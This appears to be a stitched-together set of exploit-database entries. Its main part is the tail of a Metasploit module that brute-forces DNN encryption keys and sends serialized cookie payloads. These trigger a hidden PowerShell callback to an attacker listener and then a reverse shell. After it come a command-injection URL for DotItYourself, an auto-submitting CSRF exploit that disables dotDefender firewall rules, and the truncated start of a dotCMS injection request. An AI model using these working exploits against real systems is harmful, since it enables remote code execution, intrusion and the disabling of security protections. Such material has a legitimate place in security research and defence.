105, 97, 103, 110, 111, 115, 116, 105, 99, 115, 46, 80, 114, 111, 99, 101,
115, 115, 6, 15, 0, 0, 0, 5, 83, 116, 97, 114, 116, 9, 16, 0, 0, 0, 4, 9, 0,
0, 0, 47, 83, 121, 115, 116, 101, 109, 46, 82, 101, 102, 108, 101, 99, 116,
105, 111, 110, 46, 77, 101, 109, 98, 101, 114, 73, 110, 102, 111, 83, 101,
114, 105, 97, 108, 105, 122, 97, 116, 105, 111, 110, 72, 111, 108, 100, 101,
114, 7, 0, 0, 0, 4, 78, 97, 109, 101, 12, 65, 115, 115, 101, 109, 98, 108,
121, 78, 97, 109, 101, 9, 67, 108, 97, 115, 115, 78, 97, 109, 101, 9, 83,
105, 103, 110, 97, 116, 117, 114, 101, 10, 83, 105, 103, 110, 97, 116, 117,
114, 101, 50, 10, 77, 101, 109, 98, 101, 114, 84, 121, 112, 101, 16, 71, 101,
110, 101, 114, 105, 99, 65, 114, 103, 117, 109, 101, 110, 116, 115, 1, 1, 1,
1, 1, 0, 3, 8, 13, 83, 121, 115, 116, 101, 109, 46, 84, 121, 112, 101, 91,
93, 9, 15, 0, 0, 0, 9, 13, 0, 0, 0, 9, 14, 0, 0, 0, 6, 20, 0, 0, 0, 62, 83,
121, 115, 116, 101, 109, 46, 68, 105, 97, 103, 110, 111, 115, 116, 105, 99,
115, 46, 80, 114, 111, 99, 101, 115, 115, 32, 83, 116, 97, 114, 116, 40, 83,
121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32, 83, 121,
115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 41, 6, 21, 0, 0, 0, 62,
83, 121, 115, 116, 101, 109, 46, 68, 105, 97, 103, 110, 111, 115, 116, 105,
99, 115, 46, 80, 114, 111, 99, 101, 115, 115, 32, 83, 116, 97, 114, 116, 40,
83, 121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32, 83,
121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 41, 8, 0, 0, 0,
10, 1, 10, 0, 0, 0, 9, 0, 0, 0, 6, 22, 0, 0, 0, 7, 67, 111, 109, 112, 97,
114, 101, 9, 12, 0, 0, 0, 6, 24, 0, 0, 0, 13, 83, 121, 115, 116, 101, 109,
46, 83, 116, 114, 105, 110, 103, 6, 25, 0, 0, 0, 43, 73, 110, 116, 51, 50,
32, 67, 111, 109, 112, 97, 114, 101, 40, 83, 121, 115, 116, 101, 109, 46,
83, 116, 114, 105, 110, 103, 44, 32, 83, 121, 115, 116, 101, 109, 46, 83,
116, 114, 105, 110, 103, 41, 6, 26, 0, 0, 0, 50, 83, 121, 115, 116, 101,
109, 46, 73, 110, 116, 51, 50, 32, 67, 111, 109, 112, 97, 114, 101, 40, 83,
121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32, 83, 121,
115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 41, 8, 0, 0, 0, 10, 1,
16, 0, 0, 0, 8, 0, 0, 0, 6, 27, 0, 0, 0, 113, 83, 121, 115, 116, 101, 109,
46, 67, 111, 109, 112, 97, 114, 105, 115, 111, 110, 96, 49, 91, 91, 83, 121,
115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32, 109, 115, 99,
111, 114, 108, 105, 98, 44, 32, 86, 101, 114, 115, 105, 111, 110, 61, 52,
46, 48, 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114, 101, 61, 110,
101, 117, 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99, 75, 101,
121, 84, 111, 107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49, 57, 51,
52, 101, 48, 56, 57, 93, 93, 9, 12, 0, 0, 0, 10, 9, 12, 0, 0, 0, 9, 24, 0,
0, 0, 9, 22, 0, 0, 0, 10, 11
]
@cr_regex = /(?<=Copyright \(c\) 2002-)(\d{4})/
# ==================
# v9.1.1+ VARIABLES
# ==================
@key_charset = "02468ABDF"
@verification_codes = []
@iv_regex = /[0-9A-F]{8}/
# Known plaintext
@kpt = ""
# Encryption objects
@decryptor = OpenSSL::Cipher.new('des')
@decryptor.decrypt
@encryptor = OpenSSL::Cipher.new('des')
@encryptor.encrypt
# final passphrase (key +iv) to use for payload (v9.1.1+)
@passphrase = ""
# ==================
# v9.2.0+ VARIABLES
# ==================
# Session token needed for exploitation (v9.2.0+)
@session_token = ""
# ==================
# v9.2.2+ VARIABLES
# ==================
# User ID format (v9.2.2+)
# Number of characters of user ID available in plaintext
# is equal to the length of a GUID (no spaces or dashes)
# minus (blocksize - known plaintext length).
@user_id_pt_length = 32 - (8 - @kpt.length)
@user_id_regex = /[0-9a-f]{#{@user_id_pt_length}}/
# Plaintext found from decryption (v9.2.2+)
@found_pt = ""
@iv_charset = "0123456789abcdef"
# Possible IVs used to encrypt verification codes (v9.2.2+)
@possible_ivs = Set.new([])
# Possible keys used to encrypt verification codes (v9.2.2+)
@possible_keys = Set.new([])
# passphrases (key + iv) values to use for payload encryption (v9.2.2+)
@passphrases = []
# char sets to use when generating possible base keys
@unchanged = Set.new([65,70])
end
def decode_verification(code)
# Decode verification code base don DNN format
return String.new(
Rex::Text.decode_base64(
code.chomp.gsub(".", "+").gsub("-", "/").gsub("_", "=")
)
)
end
# ==============
# Main function
# ==============
def exploit
return unless check == Exploit::CheckCode::Appears
@encrypted = datastore['ENCRYPTED']
verification_code = datastore['VERIFICATION_CODE']
if File.file?(verification_code)
File.readlines(verification_code).each do |code|
@verification_codes.push(decode_verification(code))
end
else
@verification_codes.push(decode_verification(verification_code))
end
@kpt = datastore['VERIFICATION_PLAIN']
@session_token = datastore['SESSION_TOKEN']
@dry_run = datastore['DryRun']
key = datastore['KEY']
iv = datastore['IV']
if target['ReqEncrypt'] && @encrypted == false
print_warning("Target requires encrypted payload. Exploit may not succeed.")
end
if @encrypted
# Requires either supplied key and IV, or verification code and plaintext
if (!key.blank? && !iv.blank?)
@passphrase = key + iv
# Key and IV were supplied, don't try and decrypt.
@try_decrypt = false
elsif (!@verification_codes.empty? && !@kpt.blank?)
@try_decrypt = true
else
fail_with(Failure::BadConfig, "You must provide either (VERIFICATION_CODE and VERIFICATION_PLAIN) or (KEY and IV).")
end
end
if target['ReqSession']
if @session_token.blank?
fail_with(Failure::BadConfig, "Target requires a valid SESSION_TOKEN for exploitation.")
end
end
if @encrypted && @try_decrypt
# Set IV for decryption as the known plaintext, manually
# apply PKCS padding (N bytes of N), and disable padding on the decryptor to increase speed.
# For v9.1.1 - v9.2.1 this will find the valid KEY and IV value in real time.
# For v9.2.2+ it will find an initial base key faster than if padding were enabled.
f8_plain = @kpt[0, 8]
c_iv = f8_plain.unpack("C*") + [8 - f8_plain.length] * (8 - f8_plain.length)
@decryptor.iv = String.new(c_iv.pack("C*"))
@decryptor.padding = 0
key = find_key(@verification_codes[0])
if key.blank?
return
end
if @target_idx == 4
# target is v9.2.2+, requires base64 generated key and IV values.
generate_base_keys(0, key.each_byte.to_a, "")
vprint_status("Generated #{@possible_keys.size} possible base KEY values from #{key}")
# re-enable padding here as it doesn't have the
# same performance impact when trying to find possible IV values.
@decryptor.padding = 1
print_warning("Finding possible base IVs. This may take a few minutes...")
start = Time.now
find_ivs(@verification_codes, key)
elapsed = Time.now - start
vprint_status(
format(
"Found %<n_ivs>d potential Base IV values using %<n_codes>d "\
"verification codes in %<e_time>.2f seconds.",
n_ivs: @possible_ivs.size,
n_codes: @verification_codes.size,
e_time: elapsed.to_s
)
)
generate_payload_passphrases
vprint_status(format("Generated %<n_phrases>d possible base64 KEY and IV combinations.", n_phrases: @passphrases.size))
end
if @passphrase.blank?
# test all generated passphrases by
# sending an exploit payload to the target
# that will callback to an HTTP listener
# with the index of the passphrase that worked.
# set SRVHOST as LHOST value for HTTPServer mixin
datastore['SRVHOST'] = datastore['LHOST']
print_warning("Trying all possible KEY and IV combinations...")
print_status("Starting HTTP listener on port #{datastore['SRVPORT']}...")
start_service
vprint_warning("Sending #{@passphrases.count} test Payload(s) to: #{normalize_uri(target_uri.path)}. This may take a few minutes ...")
test_passphrases
# If no working passphrase has been found,
# wait to allow the the chance for the last one to callback.
if @passphrase.empty? && !@dry_run
sleep(wfs_delay)
end
if service
stop_service
end
print "\r\n"
if !@passphrase.empty?
print_good("KEY: #{@passphrase[0, 8]} and IV: #{@passphrase[8..-1]} found")
end
end
end
send_exploit_payload
end
# =====================
# For the check command
# =====================
def check
if target.name == 'Automatic'
select_target
end
@target_idx = Integer(datastore['TARGET'])
if @target_idx == 0
fail_with(Failure::NoTarget, 'No valid target found or specified.')
end
# Check if 404 page is custom or not.
# Vulnerability requires custom 404 handling (enabled by default).
uri = normalize_uri(target_uri.path)
print_status("Checking for custom error page at: #{uri} ...")
res = send_request_cgi(
'uri' => uri
)
if res.code == 404 && !res.body.include?('Server Error') && res.to_s.length > 1600
print_good("Custom error page detected.")
else
print_error("IIS Error Page detected.")
return Exploit::CheckCode::Safe
end
return Exploit::CheckCode::Appears
end
# ===========================
# Auto-select target version
# ===========================
def select_target
print_status("Trying to determine DNN Version...")
# Check for copyright version in /Documentation/license.txt
uri = %r{^(.*[\\\/])}.match(target_uri.path)[0]
vprint_status("Checking version at #{normalize_uri(uri + 'Documentation', 'License.txt')} ...")
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(uri + 'Documentation', 'License.txt')
)
year = -1
if res && res.code == 200
# License page found, get latest copyright year.
matches = @cr_regex.match(res.body)
if matches
year = matches[0].to_i
end
else
vprint_status("Checking version at #{uri} ...")
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(uri)
)
if res && res.code == 200
# Check if copyright info is in page HTML.
matches = @cr_regex.match(res.body)
if matches
year = matches[0].to_i
end
end
end
if year >= 2018
print_warning(
%q(DNN Version Found: v9.2.0+ - Requires ENCRYPTED and SESSION_TOKEN.
Setting target to 3 (v9.2.0 - v9.2.1). Site may also be 9.2.2.
Try setting target 4 and supply a file of of verification codes or specifiy valid Key and IV values.")
)
datastore['TARGET'] = 3
elsif year == 2017
print_warning('DNN Version Found: v9.0.1 - v9.1.1 - May require ENCRYPTED')
datastore['TARGET'] = 2
elsif year < 2017 && year > 2008
print_good("DNN Version Found: v5.1.0 - v9.0.1")
datastore['TARGET'] = 1
elsif year == 2008
print_warning("DNN Version is either v5.0.0 (vulnerable) or 4.9.x (not vulnerable).")
datastore['TARGET'] = 1
else
print_warning("Could not determine DNN version. Target may still be vulnerable. Manually set the Target value")
end
end
# ==============================
# Known plaintext attack to
# brute-force the encryption key
# ==============================
def find_key(cipher_text)
print_status("Finding Key...")
# Counter
total_keys = @key_charset.length**8
i = 1
# Set start time
start = Time.now
# First char
@key_charset.each_byte do |a|
key = a.chr
# 2
@key_charset.each_byte do |b|
key[1] = b.chr
# 3
@key_charset.each_byte do |c|
key[2] = c.chr
# 4
@key_charset.each_byte do |d|
key[3] = d.chr
# 5
@key_charset.each_byte do |e|
key[4] = e.chr
# 6
@key_charset.each_byte do |f|
key[5] = f.chr
# 7
@key_charset.each_byte do |g|
key[6] = g.chr
# 8
@key_charset.each_byte do |h|
key[7] = h.chr
if decrypt_data_and_iv(@decryptor, cipher_text, String.new(key))
elapsed = Time.now - start
print_search_status(i, elapsed, total_keys)
print_line
if @target_idx == 4
print_good("Possible Base Key Value Found: " + key)
else
print_good("KEY Found: " + key)
print_good("IV Found: " + @passphrase[8..-1])
end
vprint_status(format("Total number of Keys tried: %<n_tried>d", n_tried: i))
vprint_status(format("Time to crack: %<c_time>.3f seconds", c_time: elapsed.to_s))
return String.new(key)
end
# Print timing info every 5 million attempts
if i % 5000000 == 0
print_search_status(i, Time.now - start, total_keys)
end
i += 1
end
end
end
end
end
end
end
end
elapsed = Time.now - start
print_search_status(i, elapsed, total_keys)
print_line
print_error("Key not found")
vprint_status(format("Total number of Keys tried: %<n_tried>d", n_tried: i))
vprint_status(format("Time run: %<r_time>.3f seconds", r_time: elapsed.to_s))
return nil
end
# ==================================
# Attempt to decrypt a ciphertext
# and obtain the IV at the same time
# ==================================
def decrypt_data_and_iv(cipher, cipher_text, key)
cipher.key = key
begin
plaintext = cipher.update(cipher_text) + cipher.final
if @target_idx == 4
# Target is v9.2.2+
user_id = plaintext[8, @user_id_pt_length]
if @user_id_regex.match(user_id)
return true
end
return false
end
# This should only execute if the version is 9.1.1 - 9.2.1
iv = plaintext[0, 8]
if !@iv_regex.match(iv)
return false
end
# Build encryption passphrase as DNN does.
@passphrase = key + iv
# Encrypt the plaintext value using the discovered key and IV
# and compare with the initial ciphertext
if cipher_text == encrypt_data(@encryptor, @kpt, @passphrase)
@passphrases.push(String.new(key + iv))
return true
end
rescue StandardError
# Ignore decryption errors to allow execution to continue
return false
end
return false
end
def print_search_status(num_tries, elapsed, max_tries)
msg = format("Searching at %<s_rate>.3f keys/s ...... %<p_complete>.2f%% of keyspace complete.", s_rate: num_tries / elapsed, p_complete: (num_tries / max_tries.to_f) * 100)
print("\r%bld%blu[*]%clr #{msg}")
end
# ===========================
# Encrypt data using the same
# pattern that DNN uses.
# ===========================
def encrypt_data(cipher, message, passphrase)
cipher.key = passphrase[0, 8]
cipher.iv = passphrase[8, 8]
return cipher.update(message) + cipher.final
end
# ===============================================
# Generate all possible base key values
# used to create the final passphrase in v9.2.2+.
# DES weakness allows multiple bytes to be
# interpreted as the same value.
# ===============================================
def generate_base_keys(pos, from_key, new_key)
if !@unchanged.include? from_key[pos]
if from_key[pos] % 2 == 0
new_key[pos] = (from_key[pos] + 1).chr
else
new_key[pos] = (from_key[pos] - 1).chr
end
if new_key.length == 8
@possible_keys.add(String.new(new_key))
# also add key with original value
new_key[pos] = (from_key[pos]).chr
@possible_keys.add(String.new(new_key))
else
generate_base_keys(pos + 1, from_key, String.new(new_key))
# also generate keys with original value
new_key[pos] = (from_key[pos]).chr
generate_base_keys(pos + 1, from_key, String.new(new_key))
end
else
new_key[pos] = (from_key[pos]).chr
if new_key.length == 8
@possible_keys.add(String.new(new_key))
else
generate_base_keys(pos + 1, from_key, String.new(new_key))
end
end
end
# ==============================================
# Find all possible base IV values
# used to create the final Encryption passphrase
# ==============================================
def find_ivs(cipher_texts, key)
num_chars = 8 - @kpt.length
f8regex = /#{@kpt}[0-9a-f]{#{num_chars}}/
@decryptor.key = key
found_pt = @decryptor.update(cipher_texts[0]) + @decryptor.final
# Find all possible IVs for the first ciphertext
brute_force_ivs(String.new(@kpt), num_chars, cipher_texts[0], key, found_pt[8..-1])
# Reduce IV set by testing against other ciphertexts
cipher_texts.drop(1).each do |cipher_text|
@possible_ivs.each do |iv|
@decryptor.iv = iv
pt = @decryptor.update(cipher_text) + @decryptor.final
if !f8regex.match(pt[0, 8])
@possible_ivs.delete(iv)
end
end
end
end
# ==========================================
# A recursive function to find all
# possible valid IV values using brute-force
# ==========================================
def brute_force_ivs(pt_prefix, num_chars_needed, cipher_text, key, found_pt)
charset = "0123456789abcdef"
if num_chars_needed == 0
@decryptor.key = key
@decryptor.iv = pt_prefix
pt = @decryptor.update(cipher_text) + @decryptor.final
iv = pt[0, 8]
if @iv_regex.match(iv)
pt = pt_prefix + found_pt
if encrypt_data(@encryptor, pt, key + iv) == cipher_text
@possible_ivs.add(String.new(iv))
end
end
return
end
charset.length.times do |i|
brute_force_ivs(String.new(pt_prefix + charset[i]), num_chars_needed - 1, cipher_text, key, found_pt)
end
end
# ========================================
# Generate all possible payload encryption
# passphrases for a v9.2.2+ target
# ========================================
def generate_payload_passphrases
phrases = Set.new(@passphrases)
@possible_keys.each do |key|
@possible_ivs.each do |iv|
phrase = Rex::Text.encode_base64(
encrypt_data(@encryptor, key + iv, key + iv)
)
phrases.add(String.new(phrase[0, 16]))
end
end
@passphrases = phrases.to_a
end
# ===========================================
# Test all generated passphrases by initializing
# an HTTP server to listen for a callback that
# contains the index of the successful passphrase.
# ===========================================
def test_passphrases
for i in 0..@passphrases.size - 1
# Stop sending if we've found the passphrase
if !@passphrase.empty?
break
end
msg = format("Trying KEY and IV combination %<current>d of %<total>d...", current: i + 1, total: @passphrases.size)
print("\r%bld%blu[*]%clr #{msg}")
url = "#{get_uri}?#{get_resource.delete('/')}=#{i}"
payload = create_request_payload(url)
cookie = create_cookie(payload)
# Encrypt cookie value
enc_cookie = Rex::Text.encode_base64(
encrypt_data(@encryptor, cookie, @passphrases[i])
)
if @dry_run
print_line
print_warning("DryRun enabled. No exploit payloads have been sent to the target.")
print_warning("Printing first HTTP callback cookie payload encrypted with KEY: #{@passphrases[i][0, 8]} and IV: #{@passphrases[i][8, 8]}...")
print_line(enc_cookie)
break
end
execute_command(enc_cookie, host: datastore['RHOST'])
end
end
# ===============================
# Request handler for HTTP server.
# ==============================
def on_request_uri(cli, request)
# Send 404 to prevent scanner detection
send_not_found(cli)
# Get found index - should be the only query string parameter
if request.qstring.size == 1 && request.qstring[get_resource.delete('/').to_s]
index = request.qstring[get_resource.delete('/').to_s].to_i
@passphrase = String.new(@passphrases[index])
end
end
# ==============================================
# Create payload to callback to the HTTP server.
# Note: This technically exploits the
# vulnerability, but provides a way to determine
# the valid passphrase needed to exploit again.
# ==============================================
def create_request_payload(url)
psh_cmd = "/b /c start /b /min powershell.exe -nop -w hidden -noni -Command \"Invoke-WebRequest '#{url}'\""
psh_cmd_bytes = psh_cmd.bytes.to_a
cmd_size_bytes = write_encoded_int(psh_cmd.length)
# Package payload into serialized object
payload_object = @osf_wrapper_start + cmd_size_bytes + psh_cmd_bytes + @osf_wrapper_end
object_size = write_encoded_int(payload_object.length)
# Create the final seralized ObjectStateFormatter payload
final_payload = @osf_header + object_size + payload_object
b64_payload = Rex::Text.encode_base64(final_payload.pack("C*"))
return b64_payload
end
# =============================================
# Reproduce the WriteEncoded method in
# the native .NET ObjectStateFormatter.cs file.
# =============================================
def write_encoded_int(value)
enc = []
while (value >= 0x80)
v = value | 0x80
enc.push([v].pack("V")[0].unpack1("C*"))
value >>= 7
end
enc.push([value].pack("V")[0].unpack1("C*"))
return enc
end
# =================================
# Creates the payload cookie
# using the specified payload
# =================================
def create_cookie(payload)
cookie = "<profile>"\
"<item key=\"k\" type=\"System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.ObjectStateFormatter, "\
"System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],"\
"[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, "\
"Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, "\
"Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">"\
"<ExpandedWrapperOfObjectStateFormatterObjectDataProvider>"\
"<ProjectedProperty0>"\
"<MethodName>Deserialize</MethodName>"\
"<MethodParameters>"\
"<anyType xmlns:i=\"http://www.w3.org/2001/XMLSchema-instance\" "\
"xmlns:d=\"http://www.w3.org/2001/XMLSchema\" i:type=\"d:string\" "\
">#{payload}</anyType>"\
"</MethodParameters>"\
"<ObjectInstance xmlns:i=\"http://www.w3.org/2001/XMLSchema-instance\" "\
"i:type=\"ObjectStateFormatter\" />"\
"</ProjectedProperty0>"\
"</ExpandedWrapperOfObjectStateFormatterObjectDataProvider>"\
"</item>"\
"</profile>"
return cookie
end
# =========================================
# Send the payload to the target server.
# =========================================
def execute_command(cookie_payload, opts = { dnn_host: host, dnn_port: port })
uri = normalize_uri(target_uri.path)
res = send_request_cgi(
'uri' => uri,
'cookie' => ".DOTNETNUKE=#{@session_token};DNNPersonalization=#{cookie_payload};"
)
if !res
fail_with(Failure::Unreachable, "#{opts[:host]} - target unreachable.")
elsif res.code == 404
return true
elsif res.code == 400
fail_with(Failure::BadConfig, "#{opts[:host]} - payload resulted in a bad request - #{res.body}")
else
fail_with(Failure::Unknown, "#{opts[:host]} - Something went wrong- #{res.body}")
end
end
# ======================================
# Create and send final exploit payload
# to obtain a reverse shell.
# ======================================
def send_exploit_payload
cmd_payload = create_payload
cookie_payload = create_cookie(cmd_payload)
if @encrypted
if @passphrase.blank?
print_error("Target requires encrypted payload, but a passphrase was not found or specified.")
return
end
cookie_payload = Rex::Text.encode_base64(
encrypt_data(@encryptor, cookie_payload, @passphrase)
)
end
if @dry_run
print_warning("DryRun enabled. No exploit payloads have been sent to the target.")
print_warning("Printing exploit cookie payload...")
print_line(cookie_payload)
return
end
# Set up the payload handlers
payload_instance.setup_handler
# Start the payload handler
payload_instance.start_handler
print_status("Sending Exploit Payload to: #{normalize_uri(target_uri.path)} ...")
execute_command(cookie_payload, host: datastore['RHOST'])
end
# ===================================
# Create final exploit paylod based on
# supplied payload options.
# ===================================
def create_payload
# Create payload
psh_cmd = "/b /c start /b /min " + cmd_psh_payload(
payload.encoded,
payload_instance.arch.first,
remove_comspec: true, encode_final_payload: false
)
psh_cmd_bytes = psh_cmd.bytes.to_a
cmd_size_bytes = write_encoded_int(psh_cmd.length)
# Package payload into serialized object
payload_object = @osf_wrapper_start + cmd_size_bytes + psh_cmd_bytes + @osf_wrapper_end
object_size = write_encoded_int(payload_object.length)
# Create the final seralized ObjectStateFormatter payload
final_payload = @osf_header + object_size + payload_object
b64_payload = Rex::Text.encode_base64(final_payload.pack("C*"))
vprint_status("Payload Object Created.")
return b64_payload
end
end
source: https://www.securityfocus.com/bid/66487/info
DotItYourself is prone to a remote command-execution vulnerability because the application fails to sufficiently sanitize user-supplied input data.
An attacker may leverage this issue to execute arbitrary commands in the context of the affected application.
DotItYourself 6.11.060830 is vulnerable; other versions may also be affected.
http://www.example.com/cade/dot-it-yourself.cgi?download=;id|
[+] Credits: hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source:
http://hyp3rlinx.altervista.org/advisories/DOT-DEFENDER-CSRF.txt
Vendor:
==================
www.applicure.com
Product:
=====================
dotDefender Firewall
Versions: 5.00.12865 / 5.13-13282
dotDefender is a Web application firewall (WAF) for preventing hacking
attacks like XSS, SQL Injections, CSRF etc...
that provides Apache and IIS Server Security across Dedicated, VPS and
Cloud environments. It meets PCI Compliance and also
provides E-Commerce Security, IIS and Apache Security, Cloud Security and
more.
Vulnerability Type:
=================================
Cross Site Request Forgery - CSRF
CVE Reference:
==============
N/A
Vulnerability Details:
=====================
Dotdefender firewall (WAF) is vulnerable to cross site request forgery,
this allows attackers to make HTTP requests via the victims browser to
the dotdefender management server on behalf of the victim if the victim is
logged in and visits a malicious web page or clicks an infected link.
Result can be modifying or disabling various firewall patterns,
User-Defined Rule settings and global event logging etc...
HTTP requests sent to Dotdefender to enable or disable user-Defined rule
settings are base64 encoded using SOAP protocol.
Sending the below base64 value for example disables a Dotdefender firewall
setting.
PGVuYWJsZWQ+ZmFsc2U8L2VuYWJsZWQ+
<enabled>false</enabled>
Tested successfully on Windows & Linux:
dotDefender Version: 5.00.12865
Web Server Type: Microsoft-IIS
Server Operating System: Windows
Web Server Version: 7.5
Firefox web browser
dotDefender Version: 5.13-13282
Web Server Type: Apache
Server Operating System: Linux
Exploit code(s):
===============
Example to send requests to disable firewall rule settings that defends
against SQL injection.
We need to send two requests first to modify the desired settings and
second to commit our changes.
HTTP request 0x01 - send following soap request to disable SQL Injection
request firewall rule
~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~
<IFRAME style="display:none" name="demonica"></IFRAME>
<form target="demonica" id="SACRIFICIAL" action="
http://localhost/dotDefender/dotDefenderWS.exe" ENCTYPE="text/plain"
method="post" onsubmit="TORMENT()">
<input type="hidden" name='<soapenv:Envelope xmlns:xsi="
http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:ZSI="http://www.zolera.com/schemas/ZSI/"
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<soapenv:Body xmlns:ns1="http://applicure.com/dotDefender">
<ns1:set_xpath><site xsi:type="xsd:string">0</site>
<xpath
xsi:type="xsd:string">/ud_rules/request_rules/request_rule[rule_id=1]/enabled</xpath>
<xml xsi:type="xsd:base64Binary">PGVuYWJsZWQ+ZmFsc2U8L2VuYWJsZWQ+</xml>
</ns1:set_xpath></soapenv:Body></soapenv:Envelope>'>
<script>document.getElementById('SACRIFICIAL').submit()</script>
</form>
HTTP request 0x02 - send the next request to commit the changes
~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~
<form target="demonica" id="VICTIM" action="
http://localhost/dotDefender/dotDefenderWS.exe" ENCTYPE="text/plain"
method="post">
<input type="hidden" name='<soapenv:Envelope xmlns:xsi="
http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:ZSI="http://www.zolera.com/schemas/ZSI/"
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<soapenv:Body xmlns:ns1="http://applicure.com/dotDefender"><ns1:commit>
<sites><element0 id="0" xsi:type="xsd:string">0</element0></sites>
</ns1:commit></soapenv:Body></soapenv:Envelope>'>
<script>function
TORMENT(){document.getElementById('VICTIM').submit()}</script>
</form>
Other SOAP payload examples for rule disabling:
~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=
this is disable a rule #19, send the below request to disable remote IP
protections:
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ZSI="
http://www.zolera.com/schemas/ZSI/"
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="
http://schemas.xmlsoap.org/soap/encoding/"
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<soapenv:Body xmlns:ns1="http://applicure.com/dotDefender"><ns1:set_xpath><site
xsi:type="xsd:string">0</site>
<xpath
xsi:type="xsd:string">/ud_rules/request_rules/request_rule[rule_id=19]/enabled</xpath>
<xml
xsi:type="xsd:base64Binary">PGVuYWJsZWQ+ZmFsc2U8L2VuYWJsZWQ+</xml></ns1:set_xpath></soapenv:Body></soapenv:Envelope>
disable rule 20:
~=~=~=~=~=~=~=~=
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:ZSI="http://www.zolera.com/schemas/ZSI/" xmlns:SOAP-ENV="
http://schemas.xmlsoap.org/soap/envelope/"
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:soapenv="
http://schemas.xmlsoap.org/soap/envelope/"
soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><soapenv:Body
xmlns:ns1="http://applicure.com/dotDefender">
<ns1:set_xpath><site xsi:type="xsd:string">0</site><xpath
xsi:type="xsd:string">/ud_rules/request_rules/request_rule[rule_id=20]/enabled</xpath>
<xml
xsi:type="xsd:base64Binary">PGVuYWJsZWQ+ZmFsc2U8L2VuYWJsZWQ+</xml></ns1:set_xpath></soapenv:Body></soapenv:Envelope>
Finally commit them with below request:
~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:ZSI="http://www.zolera.com/schemas/ZSI/" xmlns:SOAP-ENV="
http://schemas.xmlsoap.org/soap/envelope/"
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:soapenv="
http://schemas.xmlsoap.org/soap/envelope/"
soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><soapenv:Body
xmlns:ns1="http://applicure.com/dotDefender">
<ns1:commit><sites><element0 id="0"
xsi:type="xsd:string">0</element0></sites></ns1:commit></soapenv:Body></soapenv:Envelope>
Disclosure Timeline:
================================
Vendor Notifications:
initial report 11/16/2015
vendor response 11/20/2015
vendor delays for two months
1/19/2016 Vendor finally acknowledges vulnerability
inform vendor of a disclosure date
vendor no longer responds
Feb 8, 2016 : Public Disclosure
Exploitation Technique:
=======================
Remote
Severity Level:
==================
High
Description:
==========================================================
Request Method(s): [+] POST
Vulnerable Product: [+] DotDefender v5.0 & v5.13
===========================================================
[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.
by hyp3rlinx
# Exploit Title: dotCMS 5.1.1 - HTML Injection
# Date: 2019-05-09
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://dotcms.com/
# Software Link: https://github.com/dotCMS
# Software: dotCMS
# Product Version: 5.1.1
# Vulernability Type: Code Injection
# Vulenrability: HTML Injection and Cross-site Scripting
# CVE: CVE-2019-11846
# HTTP POST Request :
POST /servlets/ajax_file_upload?fieldName=binary3 HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:65.0) Gecko/20100101 Firefox/65.0
